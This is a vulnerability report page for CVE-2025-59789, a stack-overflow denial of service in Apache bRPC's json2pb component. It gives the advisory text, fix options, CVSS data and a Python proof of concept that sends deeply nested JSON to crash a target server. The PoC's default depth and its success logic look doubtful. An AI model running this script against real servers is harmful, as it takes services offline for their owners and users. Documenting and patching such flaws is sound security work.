Security Vulnerability Report
中文
CVE-2025-59789 CVSS 7.5 HIGH

CVE-2025-59789

Published: 2025-12-01 11:15:48
Last Modified: 2025-12-02 14:39:48

Description

Uncontrolled recursion in the json2pb component in Apache bRPC (version < 1.15.0) on all platforms allows remote attackers to make the server crash via sending deep recursive json data. Root Cause: The bRPC json2pb component uses rapidjson to parse json data from the network. The rapidjson parser uses a recursive parsing method by default. If the input json has a large depth of recursive structure, the parser function may run into stack overflow. Affected Scenarios: Use bRPC server with protobuf message to serve http+json requests from untrusted network. Or directly use JsonToProtoMessage to convert json from untrusted input. How to Fix: (Choose one of the following options)  1. Upgrade bRPC to version 1.15.0, which fixes this issue. 2. Apply this patch: https://github.com/apache/brpc/pull/3099 Note: No matter which option you choose, you should know that the fix introduces a recursion depth limit with default value 100. It affects these functions:  ProtoMessageToJson, ProtoMessageToProtoJson, JsonToProtoMessage, and ProtoJsonToProtoMessage. If your requests contain json or protobuf messages that have a depth exceeding the limit, the request will be failed after applying the fix. You can modify the gflag json2pb_max_recursion_depth to change the limit.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:brpc:*:*:*:*:*:*:*:* - VULNERABLE
Apache bRPC < 1.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json import requests # CVE-2025-59789 PoC - Deeply nested JSON causing stack overflow in Apache bRPC json2pb # This PoC demonstrates how to trigger the vulnerability by sending a deeply nested JSON payload def generate_deep_nested_json(depth=150): """Generate a deeply nested JSON object to trigger stack overflow""" nested = {} current = nested for i in range(depth): current[f'level_{i}'] = {} current = current[f'level_{i}'] current['data'] = 'trigger_overflow' return nested def exploit_cve_2025_59789(target_url, depth=150): """ Exploit CVE-2025-59789 by sending deeply nested JSON to Apache bRPC server Args: target_url: URL of the vulnerable bRPC HTTP+JSON endpoint depth: Nesting depth of the JSON payload (default: 150, exceeds default limit of 100) Returns: Response from the server """ payload = generate_deep_nested_json(depth) headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2025-59789-PoC' } print(f"[*] Sending deeply nested JSON (depth={depth}) to {target_url}") print(f"[*] Payload size: {len(json.dumps(payload))} bytes") try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed (may indicate successful exploitation): {e}") return None # Example usage if __name__ == '__main__': target = 'http://target-server:8080/your_endpoint' exploit_cve_2025_59789(target, depth=150)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59789", "sourceIdentifier": "[email protected]", "published": "2025-12-01T11:15:48.377", "lastModified": "2025-12-02T14:39:47.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled recursion in the json2pb component in Apache bRPC (version < 1.15.0) on all platforms allows remote attackers to make the server crash via sending deep recursive json data.\n\nRoot Cause:\nThe bRPC json2pb component uses rapidjson to parse json data from the network. The rapidjson parser uses a recursive parsing method by default. If the input json has a large depth of recursive structure, the parser function may run into stack overflow.\n\nAffected Scenarios:\nUse bRPC server with protobuf message to serve http+json requests from untrusted network. Or directly use JsonToProtoMessage to convert json from untrusted input.\n\n\n\nHow to Fix: \n(Choose one of the following options) \n1. Upgrade bRPC to version 1.15.0, which fixes this issue.\n2. Apply this patch: https://github.com/apache/brpc/pull/3099 \n\n\n\nNote:\nNo matter which option \n\nyou choose, you should know that the fix introduces a recursion depth limit with default value 100. It affects these functions: \n\nProtoMessageToJson, ProtoMessageToProtoJson, JsonToProtoMessage, and ProtoJsonToProtoMessage.\n\n If your requests contain json or protobuf messages that have a depth exceeding the limit, the request will be failed after applying the fix. You can modify the gflag json2pb_max_recursion_depth to change the limit."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:brpc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.15.0", "matchCriteriaId": "8FC82429-4B83-4132-A67A-146ABA8A0F27"}]}]}], "references": [{"url": "https://lists.apache.org/thread/ozmcsztcpxn61jxod8jo8q46jo0oc1zx", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/01/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}